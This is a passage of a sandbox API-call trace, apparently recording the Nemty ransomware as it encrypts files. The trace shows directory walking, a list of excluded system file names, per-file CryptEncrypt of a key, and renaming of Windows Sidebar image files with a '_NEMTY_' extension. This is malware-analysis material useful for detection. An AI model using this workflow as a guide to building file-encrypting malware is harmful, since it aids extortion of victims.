0 [0155.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.099] CloseHandle (hObject=0xffffffff) returned 0 [0155.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png._nemty_kgobjgd_")) returned 0 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.100] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869fe276, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x869fe276, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="29.png", cAlternateFileName="")) returned 1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2=".") returned 1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="..") returned 1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="...") returned 1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="windows") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="$RECYCLE.BIN") returned 1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="rsa") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="NTDETECT.COM") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="ntldr") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="MSDOS.SYS") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="IO.SYS") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="boot.ini") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="boot.ini") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="ntuser.dat") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="desktop.ini") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="CONFIG.SYS") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="RECYCLER") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="BOOTSECT.BAK") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="bootmgr") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="programdata") returned -1 [0155.100] lstrcmpiW (lpString1="29.png", lpString2="appdata") returned -1 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="29.png", lpUsedDefaultChar=0x0) returned 6 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="29.png", lpUsedDefaultChar=0x0) returned 6 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="29.png", lpUsedDefaultChar=0x0) returned 6 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="29.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="29.png", lpUsedDefaultChar=0x0) returned 6 [0155.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.101] Sleep (dwMilliseconds=0x5) [0155.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10194c50, dwHighDateTime=0x1d561e8)) [0155.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10194c50, dwHighDateTime=0x1d561e8)) [0155.110] GetLastError () returned 0x5 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.110] GetLastError () returned 0x5 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.110] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.110] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="xpX7xi+e5RXF7nsPdaG2eFtq1jurCVaSC26NaeJZOVFXeQQddCwlyQtObqldw81T\r\n0uqUZPMVxrEmkwXgOCrXl91NEop7Jw0S1rltHl1uu+LLjhWfJQWvsz8P1ePZbu66\r\nDT5Xg8vABafnJ2QGPTWGtx8SOfVie0gKnygrpkDQPYFxdO4oZKw1yncbfWCc3G5E\r\nU7BN/IccEX+4uHoIgExxC0inK47M7Q7anDwnI7B1j0IGYWtb0eZ81Me2rkN6yuft\r\nyDkM3KYRWlSWgazwg/YleeYZu6B8M9smOJpn8RfmMukMkQe8W8Zo74dQX10nNf6F\r\nyNTGNhbcoH7unOSyUqLyFg==\r\n", pcchString=0x653e91c) returned 1 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.110] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.111] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.218] CloseHandle (hObject=0xffffffff) returned 0 [0155.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows 